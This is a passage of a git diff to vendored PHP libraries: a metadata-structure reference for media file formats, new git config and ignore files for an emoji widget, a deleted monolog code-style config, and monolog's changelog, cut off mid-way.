['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + ['height']=>integer() // + ['raw']=>array() { // + ['bit_depth']=>integer() // + ['color_type']=>integer() // + ['compression_method']=>integer() // + ['filter_method']=>integer() // + ['interlace_method']=>integer() // + } // + ['width']=>integer() // + } // + ['PLTE']=>array() { // + ['header']=>array() { // + ['crc']=>double() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + []=>integer() // + } // + ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) + []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) + } // + ['gAMA']=>array() { // + ['gamma']=>double() // + ['header']=>array() { // + ['crc']=>integer() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + } // + ['oFFs']=>array() { // + ['header']=>array() { // + ['crc']=>double() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + ['position_x']=>integer() // + ['position_y']=>integer() // + ['unit']=>string() // + ['unit_specifier']=>integer() // + } // + ['pHYs']=>array() { // + ['header']=>array() { // + ['crc']=>integer() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + ['pixels_per_unit_x']=>integer() // + ['pixels_per_unit_y']=>integer() // + ['unit']=>string() // + ['unit_specifier']=>integer() // + } // + ['pcLb']=>array() { // + ['header']=>array() { // + ['crc']=>double() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + } // + ['tEXt']=>array() { // + ['header']=>array() { // + ['crc']=>integer() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + ['keyword']=>string() // + ['text']=>string() // + } // + ['tIME']=>array() { // + ['day']=>integer() // + ['header']=>array() { // + ['crc']=>integer() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + ['hour']=>integer() // + ['minute']=>integer() // + ['month']=>integer() // + ['second']=>integer() // + ['unix']=>integer() // + ['year']=>integer() // + } // + ['tRNS']=>array() { // + ['header']=>array() { // + ['crc']=>double() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + ['transparent_color_blue']=>integer() // + ['transparent_color_green']=>integer() // + ['transparent_color_red']=>integer() // + } // + ['zTXt']=>array() { // + ['compressed_text']=>string() // + ['compression_method']=>integer() // + ['compression_method_text']=>string() // + ['header']=>array() { // + ['crc']=>double() // + ['data']=>string() // + ['data_length']=>integer() // + ['flags']=>array() { // + ['ancilliary']=>boolean() // + ['private']=>boolean() // + ['reserved']=>boolean() // + ['safe_to_copy']=>boolean() // + } // + ['type_raw']=>double() // + ['type_text']=>string() // + } // + ['keyword']=>string() // + ['text']=>string() // + } // + } // + + + ['quicktime']=>array() { // Quicktime - video/audio + ['']=>array() { // + ['name']=>boolean() // + ['offset']=>integer() // + ['size']=>integer() // + } // + ['audio']=>array() { // + ['bit_depth']=>integer() // + ['channels']=>integer() // + ['codec']=>string() // + ['sample_rate']=>double() // + } // + ['free']=>array() { // + ['name']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + ['mdat']=>array() { // + ['name']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + ['moov']=>array() { // + ['hierarchy']=>string() // + ['name']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + ['subatoms']=>array() // This is an undocumentably-complex recursive array, typically containing a huge amount of seemingly disorganized data. Avoid this like the plague. + } // + ['time_scale']=>integer() // + ['display_scale']=>integer() // 1 = normal; 0.5 = half; 2 = double + ['video']=>array() { // + ['codec']=>string() // + ['color_depth']=>integer() // + ['color_depth_name']=>string() // + ['resolution_x']=>double() // + ['resolution_y']=>double() // + } // + ['wide']=>array() { // + ['name']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + + + ['real']=>array() { // Real (RealAudio / RealVideo) - audio/video + ['chunks']=>array() { // + []=>array() { // + ['file_version']=>integer() // + ['headers_count']=>integer() // + ['length']=>integer() // + ['name']=>string() // + ['object_version']=>integer() // + ['offset']=>integer() // + } // + []=>array() { // + ['avg_bit_rate']=>integer() // + ['avg_packet_size']=>integer() // + ['data_offset']=>integer() // + ['duration']=>integer() // + ['flags']=>array() { // + ['live_broadcast']=>boolean() // + ['perfect_play']=>boolean() // + ['save_enabled']=>boolean() // + } // + ['flags_raw']=>integer() // + ['index_offset']=>integer() // + ['length']=>integer() // + ['max_bit_rate']=>integer() // + ['max_packet_size']=>integer() // + ['name']=>string() // + ['num_packets']=>integer() // + ['num_streams']=>integer() // + ['object_version']=>integer() // + ['offset']=>integer() // + ['preroll']=>integer() // + } // + } // + ['comments']=>array() { // + ['artist']=>string() // + ['comment']=>string() // + ['title']=>string() // + } // + } // + + + ['riff']=>array() { // RIFF (Resource Interchange File Format) - audio/video container format (AVI, WAV, CDDA, etc) + ['AIFC']=>array() { // + ['COMM']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['FVER']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['INST']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['MARK']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['SSND']=>array() { // + []=>array() { // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + } // + ['AIFF']=>array() { // + ['(c) ']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['COMM']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['SSND']=>array() { // + []=>array() { // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + } // + ['AVI ']=>array() { // + ['JUNK']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['hdrl']=>array() { // + ['avih']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['odml']=>array() { // + ['dmlh']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + } // + ['strl']=>array() { // + ['JUNK']=>array() { // + []=>array() { // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['strf']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['strh']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['strn']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + } // + } // + ['idx1']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['movi']=>array() { // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['CDDA']=>array() { // + ['fmt ']=>array() { // + []=>array() { // + ['data']=>string() // + ['disc_id']=>integer() // + ['offset']=>integer() // + ['playtime_frames']=>integer() // + ['playtime_seconds']=>double() // + ['size']=>integer() // + ['start_offset_frame']=>integer() // + ['start_offset_seconds']=>double() // + ['track_num']=>integer() // + ['unknown1']=>integer() // + ['unknown6']=>integer() // + ['unknown7']=>integer() // + } // + } // + } // + ['WAVE']=>array() { // + ['DISP']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['INFO']=>array() { // + ['IART']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['ICMT']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['ICOP']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['IENG']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['IGNR']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['IKEY']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['IMED']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['INAM']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['ISBJ']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['ISFT']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['ISRC']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['ISRF']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['ITCH']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + } // + ['MEXT']=>array() { // + []=>array() { // + ['anciliary_data_length']=>integer() // + ['data']=>string() // + ['flags']=>array() { // + ['anciliary_data_free']=>boolean() // + ['anciliary_data_left']=>boolean() // + ['anciliary_data_right']=>boolean() // + ['homogenous']=>boolean() // + } // + ['offset']=>integer() // + ['raw']=>array() { // + ['anciliary_data_def']=>integer() // + ['sound_information']=>integer() // + } // + ['size']=>integer() // + } // + } // + ['bext']=>array() { // + []=>array() { // + ['author']=>string() // + ['bwf_version']=>integer() // + ['coding_history']=>array() { // + []=>string() // + } // + ['data']=>string() // + ['offset']=>integer() // + ['origin_date']=>string() // + ['origin_date_unix']=>integer() // + ['origin_time']=>string() // + ['reference']=>string() // + ['reserved']=>integer() // + ['size']=>integer() // + ['time_reference']=>integer() // + ['title']=>string() // + } // + } // + ['cart']=>array() { // + []=>array() { // + ['artist']=>string() // + ['category']=>string() // + ['classification']=>string() // + ['client_id']=>string() // + ['cut_id']=>string() // + ['data']=>string() // + ['end_date']=>string() // + ['end_time']=>string() // + ['offset']=>integer() // + ['out_cue']=>string() // + ['post_time']=>array() { // + []=>array() { // + ['timer_value']=>integer() // + ['usage_fourcc']=>string() // + } // + } // + ['producer_app_id']=>string() // + ['producer_app_version']=>string() // + ['size']=>integer() // + ['start_date']=>string() // + ['start_time']=>string() // + ['tag_text']=>array() { // + []=>string() // + } // + ['title']=>string() // + ['url']=>string() // + ['user_defined_text']=>string() // + ['version']=>string() // + ['zero_db_reference']=>integer() // + } // + } // + ['data']=>array() { // + []=>array() { // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['fact']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['fmt ']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + ['rgad']=>array() { // + []=>array() { // + ['data']=>string() // + ['offset']=>integer() // + ['size']=>integer() // + } // + } // + } // + ['audio']=>array() { // + []=>array() { // + ['bitrate']=>integer() // + ['bits_per_sample']=>integer() // + ['channels']=>integer() // + ['codec']=>string() // + ['sample_rate']=>integer() // + } // + ['bits_per_sample']=>integer() // + ['channels']=>integer() // + ['codec_fourcc']=>string() // + ['codec_name']=>string() // + ['sample_rate']=>integer() // + ['total_samples']=>integer() // + } // + ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) + []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) + } // + ['header_size']=>integer() // + ['raw']=>array() { // + ['avih']=>array() { // + ['dwFlags']=>integer() // + ['dwHeight']=>integer() // + ['dwInitialFrames']=>integer() // + ['dwLength']=>integer() // + ['dwMaxBytesPerSec']=>integer() // + ['dwMicroSecPerFrame']=>integer() // + ['dwPaddingGranularity']=>integer() // + ['dwRate']=>integer() // + ['dwScale']=>integer() // + ['dwStart']=>integer() // + ['dwStreams']=>integer() // + ['dwSuggestedBufferSize']=>integer() // + ['dwTotalFrames']=>integer() // + ['dwWidth']=>integer() // + ['flags']=>array() { // + ['capturedfile']=>boolean() // + ['copyrighted']=>boolean() // + ['hasindex']=>boolean() // + ['interleaved']=>boolean() // + ['mustuseindex']=>boolean() // + ['trustcktype']=>boolean() // + } // + } // + ['fact']=>array() { // + ['NumberOfSamples']=>integer() // + } // + ['fmt ']=>array() { // + ['nAvgBytesPerSec']=>integer() // + ['wBitsPerSample']=>integer() // + ['nBlockAlign']=>integer() // + ['nChannels']=>integer() // + ['nSamplesPerSec']=>integer() // + ['wFormatTag']=>integer() // + } // + ['rgad']=>array() { // + ['audiophile']=>array() { // + ['adjustment']=>integer() // + ['name']=>integer() // + ['originator']=>integer() // + ['signbit']=>integer() // + } // + ['fPeakAmplitude']=>double() // + ['nAudiophileRgAdjust']=>integer() // + ['nRadioRgAdjust']=>integer() // + ['radio']=>array() { // + ['adjustment']=>integer() // + ['name']=>integer() // + ['originator']=>integer() // + ['signbit']=>integer() // + } // + } // + ['strf']=>array() { // + ['auds']=>array() { // + []=>array() { // + ['nAvgBytesPerSec']=>integer() // + ['wBitsPerSample']=>integer() // + ['nBlockAlign']=>integer() // + ['nChannels']=>integer() // + ['nSamplesPerSec']=>integer() // + ['wFormatTag']=>integer() // + } // + } // + ['vids']=>array() { // + []=>array() { // + ['biBitCount']=>integer() // + ['biClrImportant']=>integer() // + ['biClrUsed']=>integer() // + ['biHeight']=>integer() // + ['biPlanes']=>integer() // + ['biSize']=>integer() // + ['biSizeImage']=>integer() // + ['biWidth']=>integer() // + ['biXPelsPerMeter']=>integer() // + ['biYPelsPerMeter']=>integer() // + ['fourcc']=>string() // + } // + } // + } // + ['strh']=>array() { // + []=>array() { // + ['dwFlags']=>integer() // + ['dwInitialFrames']=>integer() // + ['dwLength']=>integer() // + ['dwQuality']=>integer() // + ['dwRate']=>integer() // + ['dwSampleSize']=>integer() // + ['dwScale']=>integer() // + ['dwStart']=>integer() // + ['dwSuggestedBufferSize']=>integer() // + ['fccHandler']=>string() // + ['fccType']=>string() // + ['rcFrame']=>integer() // + ['wLanguage']=>integer() // + ['wPriority']=>integer() // + } // + } // + } // + ['rgad']=>array() { // + ['audiophile']=>array() { // + ['adjustment']=>double() // + ['name']=>string() // + ['originator']=>string() // + } // + ['peakamplitude']=>double() // + ['radio']=>array() { // + ['adjustment']=>double() // + ['name']=>string() // + ['originator']=>string() // + } // + } // + ['video']=>array() { // + []=>array() { // + ['codec']=>string() // + ['frame_height']=>integer() // + ['frame_rate']=>double() // + ['frame_width']=>integer() // + } // + } // + ['litewave']=>array() { // http://www.clearjump.com + ['raw']=>array() { // + ['compression_method']=>integer() // 1=lossy; 2=lossless + ['compression_flags']=>integer() // + ['m_dwScale']=>integer() // scalefactor for lossy compression - related to m_wQuality as: $m_wQuality = round((2000 - $m_dwScale) / 20) + ['m_dwBlockSize']=>integer() // number of samples in encoded blocks + ['m_wQuality']=>integer() // quality factor (0=most compressed lossy; 99=best quality lossy; 100=lossless) + ['m_wMarkDistance']=>integer() // distance between marks in bytes + ['m_wReserved']=>integer() // + ['m_dwOrgSize']=>integer() // original file size in bytes + ['m_bFactExists']=>integer() // indicates if 'fact' chunk exists in the original file + ['m_dwRiffChunkSize']=>integer() // riff chunk size in the original file + } // + ['quality_factor']=>integer() // alias of ['raw']['m_wQuality'] + } // + } // + + + ['shn']=>array() { // Shorten - lossless audio compression + ['seektable']=>array() { // + ['length']=>integer() // + ['offset']=>integer() // + ['present']=>boolean() // + } // + ['version']=>integer() // + } // + + + ['swf']=>array() { // SWF - ShockWave Flash (www.openswf.org) + ['header']=>array() { // + ['frame_count']=>integer() // + ['frame_height']=>integer() // + ['frame_width']=>integer() // + ['length']=>integer() // + ['signature']=>string() // + ['version']=>integer() // + } // + ['bgcolor']=>string() // + ['tags']=>array() // + } // + +['tak_audio']=>array() { // TAK - Tom's lossless Audio Kompressor format + ['raw']=>array() { // + ['magic']=>string() // + ['STREAMINFO']=>string() // + ['MD5Data']=>string() // + ['header_data']=>string() // Original wave header data to enable perfect reconstruction + ['footer_data']=>string() // --||-- + } // + ['channels']=>integer() // + ['bits_per_sample']=>integer() // + ['sample_rate']=>integer() // + ['samples']=>integer() // + ['framesize']=>string() // + ['codectype']=>string() // + ['version']=>string() // + ['profile']=>string() // + ['lastframe_pos']=>integer() // + ['last_frame_size']=>integer() // + ['playtime']=>integer() // + ['compressed_size']=>integer() // + ['uncompressed_size']=>integer() // + ['compression_ratio']=>integer() // + } // + + + ['voc']=>array() { // VOC - SoundBlaster VOC audio format + ['blocks']=>array() { // + []=>array() { // + ['bits_per_sample']=>integer() // + ['block_offset']=>integer() // + ['block_size']=>integer() // + ['block_type_id']=>integer() // + ['channels']=>integer() // + ['compression_name']=>string() // + ['compression_type']=>integer() // + ['pack_method']=>integer() // + ['sample_rate']=>integer() // + ['sample_rate_id']=>integer() // + ['stereo']=>boolean() // + ['time_constant']=>integer() // + ['wFormat']=>integer() // + } // + } // + ['compressed_bits_per_sample']=>integer() // + ['header']=>array() { // + ['datablock_offset']=>integer() // + ['major_version']=>integer() // + ['minor_version']=>integer() // + } // + } // + + + ['vqf']=>array() { // VQF - transform-domain weighted interleave Vector Quantization Format (lossy audio) + ['COMM']=>array() { // + ['bitrate']=>integer() // + ['channel_mode']=>integer() // + ['sample_rate']=>integer() // + ['security_level']=>integer() // + } // + ['DSIZ']=>integer() // + ['comments']=>array() { // array of array of strings containing best data from any available metainformation tag (APE, ID3v2, ID3v1, Lyrics3, Vorbis, ASF, RIFF, Real, etc.) + []=>array() // can be anything, usually 'artist', 'title', etc. Contains array of one or more values (eg: multiple artists are possible) + } // + ['raw']=>array() { // + ['header_tag']=>string() // + ['size']=>integer() // + ['version']=>string() // + } // + } // + + + ['wavpack']=>array() { // WavPack - lossless audio compression + ['bits']=>integer() // + ['crc1']=>double() // + ['crc2']=>integer() // + ['extension']=>string() // + ['extra_bc']=>string() // + ['extras']=>string() // + ['flags_raw']=>integer() // + ['offset']=>integer() // + ['shift']=>integer() // + ['size']=>integer() // + ['total_samples']=>integer() // + ['version']=>integer() // + } // + + + ['zip']=>array() { // ZIP - lossless data compression + ['central_directory']=>array() { // + []=>array() { // + ['compressed_size']=>integer() // + ['compression_method']=>string() // + ['create_version']=>string() // + ['entry_offset']=>integer() // + ['extract_version']=>string() // + ['filename']=>string() // + ['flags']=>array() { // + ['compression_speed']=>string() // + ['data_descriptor_used']=>boolean() // + ['encrypted']=>boolean() // + } // + ['host_os']=>string() // + ['last_modified_timestamp']=>integer() // + ['offset']=>integer() // + ['raw']=>array() { // + ['compressed_size']=>integer() // + ['compression_method']=>integer() // + ['crc_32']=>double() // + ['create_version']=>integer() // + ['disk_number_start']=>integer() // + ['external_file_attrib']=>double() // + ['extra_field_length']=>integer() // + ['extract_version']=>integer() // + ['file_comment_length']=>integer() // + ['filename_length']=>integer() // + ['general_flags']=>integer() // + ['internal_file_attrib']=>integer() // + ['last_mod_file_date']=>integer() // + ['last_mod_file_time']=>integer() // + ['local_header_offset']=>integer() // + ['signature']=>integer() // + ['uncompressed_size']=>integer() // + } // + ['uncompressed_size']=>integer() // + } // + } // + ['comments']=>array() { // + ['comment']=>string() // + } // + ['compressed_size']=>integer() // + ['compression_method']=>string() // + ['compression_speed']=>string() // + ['end_central_directory']=>array() { // + ['comment']=>string() // + ['comment_length']=>integer() // + ['directory_entries_this_disk']=>integer() // + ['directory_entries_total']=>integer() // + ['directory_offset']=>integer() // + ['directory_size']=>integer() // + ['disk_number_current']=>integer() // + ['disk_number_start_directory']=>integer() // + ['offset']=>integer() // + ['signature']=>integer() // + } // + ['entries']=>array() { // + []=>array() { // + ['compressed_size']=>integer() // + ['compression_method']=>string() // + ['extract_version']=>string() // + ['filename']=>string() // + ['flags']=>array() { // + ['compression_speed']=>string() // + ['data_descriptor_used']=>boolean() // + ['encrypted']=>boolean() // + } // + ['host_os']=>string() // + ['last_modified_timestamp']=>integer() // + ['offset']=>integer() // + ['raw']=>array() { // + ['compressed_size']=>integer() // + ['compression_method']=>integer() // + ['crc_32']=>integer() // + ['extra_field_length']=>integer() // + ['extract_version']=>integer() // + ['filename_length']=>integer() // + ['general_flags']=>integer() // + ['last_mod_file_date']=>integer() // + ['last_mod_file_time']=>integer() // + ['signature']=>integer() // + ['uncompressed_size']=>integer() // + } // + ['uncompressed_size']=>integer() // + } // + } // + ['entries_count']=>integer() // + ['files']=>array() { // multidimensional tree-structure array listing of all files and directories in image + []=>array() // entries of type array are directories (key is directory name), may contain files and/or other subdirectories + []=>integer() // entries of type integer are files (key is file name, value is file size in bytes) + } // + ['uncompressed_size']=>integer() // + } // +} // diff --git a/vendor/mervick/emojionearea/.gitconfig b/vendor/mervick/emojionearea/.gitconfig new file mode 100644 index 0000000000..ad2955cc92 --- /dev/null +++ b/vendor/mervick/emojionearea/.gitconfig @@ -0,0 +1,6 @@ +[filter "spabs"] + clean = expand --initial -t 4 + smudge = expand --initial -t 4 + required +[merge] + renormalize = true diff --git a/vendor/mervick/emojionearea/.gitignore b/vendor/mervick/emojionearea/.gitignore new file mode 100644 index 0000000000..2f1a90ecdf --- /dev/null +++ b/vendor/mervick/emojionearea/.gitignore @@ -0,0 +1,13 @@ +.sass-cache +.idea +config.rb +vendor +composer.lock +test +compress.sh +node_modules +bower_components +.vscode +.DS_Store +*.css.map +*.min.map diff --git a/vendor/monolog/monolog/.php_cs b/vendor/monolog/monolog/.php_cs deleted file mode 100644 index 59928a42be..0000000000 --- a/vendor/monolog/monolog/.php_cs +++ /dev/null @@ -1,65 +0,0 @@ - - -For the full copyright and license information, please view the LICENSE -file that was distributed with this source code. -EOF; - -$finder = Symfony\CS\Finder::create() - ->files() - ->name('*.php') - ->exclude('Fixtures') - // The next 4 files are here for forward compatibility, and are not used by - // Monolog itself - ->exclude(__DIR__.'src/Monolog/Handler/FormattableHandlerInterface.php') - ->exclude(__DIR__.'src/Monolog/Handler/FormattableHandlerTrait.php') - ->exclude(__DIR__.'src/Monolog/Handler/ProcessableHandlerInterface.php') - ->exclude(__DIR__.'src/Monolog/Handler/ProcessableHandlerTrait.php') - ->in(__DIR__.'/src') - ->in(__DIR__.'/tests') -; - -return Symfony\CS\Config::create() - ->setUsingCache(true) - //->setUsingLinter(false) - ->setRiskyAllowed(true) - ->setRules(array( - '@PSR2' => true, - 'binary_operator_spaces' => true, - 'blank_line_before_return' => true, - 'header_comment' => array('header' => $header), - 'include' => true, - 'long_array_syntax' => true, - 'method_separation' => true, - 'no_blank_lines_after_class_opening' => true, - 'no_blank_lines_after_phpdoc' => true, - 'no_blank_lines_between_uses' => true, - 'no_duplicate_semicolons' => true, - 'no_extra_consecutive_blank_lines' => true, - 'no_leading_import_slash' => true, - 'no_leading_namespace_whitespace' => true, - 'no_trailing_comma_in_singleline_array' => true, - 'no_unused_imports' => true, - 'object_operator_without_whitespace' => true, - 'phpdoc_align' => true, - 'phpdoc_indent' => true, - 'phpdoc_no_access' => true, - 'phpdoc_no_package' => true, - 'phpdoc_order' => true, - 'phpdoc_scalar' => true, - 'phpdoc_trim' => true, - 'phpdoc_type_to_var' => true, - 'psr0' => true, - 'single_blank_line_before_namespace' => true, - 'spaces_cast' => true, - 'standardize_not_equals' => true, - 'ternary_operator_spaces' => true, - 'trailing_comma_in_multiline_array' => true, - 'whitespacy_lines' => true, - )) - ->finder($finder) -; diff --git a/vendor/monolog/monolog/CHANGELOG.md b/vendor/monolog/monolog/CHANGELOG.md index 47648f59cc..08cbe786a5 100644 --- a/vendor/monolog/monolog/CHANGELOG.md +++ b/vendor/monolog/monolog/CHANGELOG.md @@ -1,423 +1,423 @@ -### 1.26.1 (2021-05-28) - - * Fixed PHP 8.1 deprecation warning - -### 1.26.0 (2020-12-14) - - * Added $dateFormat and $removeUsedContextFields arguments to PsrLogMessageProcessor (backport from 2.x) - -### 1.25.5 (2020-07-23) - - * Fixed array access on null in RavenHandler - * Fixed unique_id in WebProcessor not being disableable - -### 1.25.4 (2020-05-22) - - * Fixed GitProcessor type error when there is no git repo present - * Fixed normalization of SoapFault objects containing deeply nested objects as "detail" - * Fixed support for relative paths in RotatingFileHandler - -### 1.25.3 (2019-12-20) - - * Fixed formatting of resources in JsonFormatter - * Fixed RedisHandler failing to use MULTI properly when passed a proxied Redis instance (e.g. in Symfony with lazy services) - * Fixed FilterHandler triggering a notice when handleBatch was filtering all records passed to it - * Fixed Turkish locale messing up the conversion of level names to their constant values - -### 1.25.2 (2019-11-13) - - * Fixed normalization of Traversables to avoid traversing them as not all of them are rewindable - * Fixed setFormatter/getFormatter to forward to the nested handler in FilterHandler, FingersCrossedHandler, BufferHandler and SamplingHandler - * Fixed BrowserConsoleHandler formatting when using multiple styles - * Fixed normalization of exception codes to be always integers even for PDOException which have them as numeric strings - * Fixed normalization of SoapFault objects containing non-strings as "detail" - * Fixed json encoding across all handlers to always attempt recovery of non-UTF-8 strings instead of failing the whole encoding - -### 1.25.1 (2019-09-06) - - * Fixed forward-compatible interfaces to be compatible with Monolog 1.x too. - -### 1.25.0 (2019-09-06) - - * Deprecated SlackbotHandler, use SlackWebhookHandler or SlackHandler instead - * Deprecated RavenHandler, use sentry/sentry 2.x and their Sentry\Monolog\Handler instead - * Deprecated HipChatHandler, migrate to Slack and use SlackWebhookHandler or SlackHandler instead - * Added forward-compatible interfaces and traits FormattableHandlerInterface, FormattableHandlerTrait, ProcessableHandlerInterface, ProcessableHandlerTrait. If you use modern PHP and want to make code compatible with Monolog 1 and 2 this can help. You will have to require at least Monolog 1.25 though. - * Added support for RFC3164 (outdated BSD syslog protocol) to SyslogUdpHandler - * Fixed issue in GroupHandler and WhatFailureGroupHandler where setting multiple processors would duplicate records - * Fixed issue in SignalHandler restarting syscalls functionality - * Fixed normalizers handling of exception backtraces to avoid serializing arguments in some cases - * Fixed ZendMonitorHandler to work with the latest Zend Server versions - * Fixed ChromePHPHandler to avoid sending more data than latest Chrome versions allow in headers (4KB down from 256KB). - -### 1.24.0 (2018-11-05) - - * BC Notice: If you are extending any of the Monolog's Formatters' `normalize` method, make sure you add the new `$depth = 0` argument to your function signature to avoid strict PHP warnings. - * Added a `ResettableInterface` in order to reset/reset/clear/flush handlers and processors - * Added a `ProcessorInterface` as an optional way to label a class as being a processor (mostly useful for autowiring dependency containers) - * Added a way to log signals being received using Monolog\SignalHandler - * Added ability to customize error handling at the Logger level using Logger::setExceptionHandler - * Added InsightOpsHandler to migrate users of the LogEntriesHandler - * Added protection to NormalizerHandler against circular and very deep structures, it now stops normalizing at a depth of 9 - * Added capture of stack traces to ErrorHandler when logging PHP errors - * Added RavenHandler support for a `contexts` context or extra key to forward that to Sentry's contexts - * Added forwarding of context info to FluentdFormatter - * Added SocketHandler::setChunkSize to override the default chunk size in case you must send large log lines to rsyslog for example - * Added ability to extend/override BrowserConsoleHandler - * Added SlackWebhookHandler::getWebhookUrl and SlackHandler::getToken to enable class extensibility - * Added SwiftMailerHandler::getSubjectFormatter to enable class extensibility - * Dropped official support for HHVM in test builds - * Fixed normalization of exception traces when call_user_func is used to avoid serializing objects and the data they contain - * Fixed naming of fields in Slack handler, all field names are now capitalized in all cases - * Fixed HipChatHandler bug where slack dropped messages randomly - * Fixed normalization of objects in Slack handlers - * Fixed support for PHP7's Throwable in NewRelicHandler - * Fixed race bug when StreamHandler sometimes incorrectly reported it failed to create a directory - * Fixed table row styling issues in HtmlFormatter - * Fixed RavenHandler dropping the message when logging exception - * Fixed WhatFailureGroupHandler skipping processors when using handleBatch - and implement it where possible - * Fixed display of anonymous class names - -### 1.23.0 (2017-06-19) - - * Improved SyslogUdpHandler's support for RFC5424 and added optional `$ident` argument - * Fixed GelfHandler truncation to be per field and not per message - * Fixed compatibility issue with PHP <5.3.6 - * Fixed support for headless Chrome in ChromePHPHandler - * Fixed support for latest Aws SDK in DynamoDbHandler - * Fixed support for SwiftMailer 6.0+ in SwiftMailerHandler - -### 1.22.1 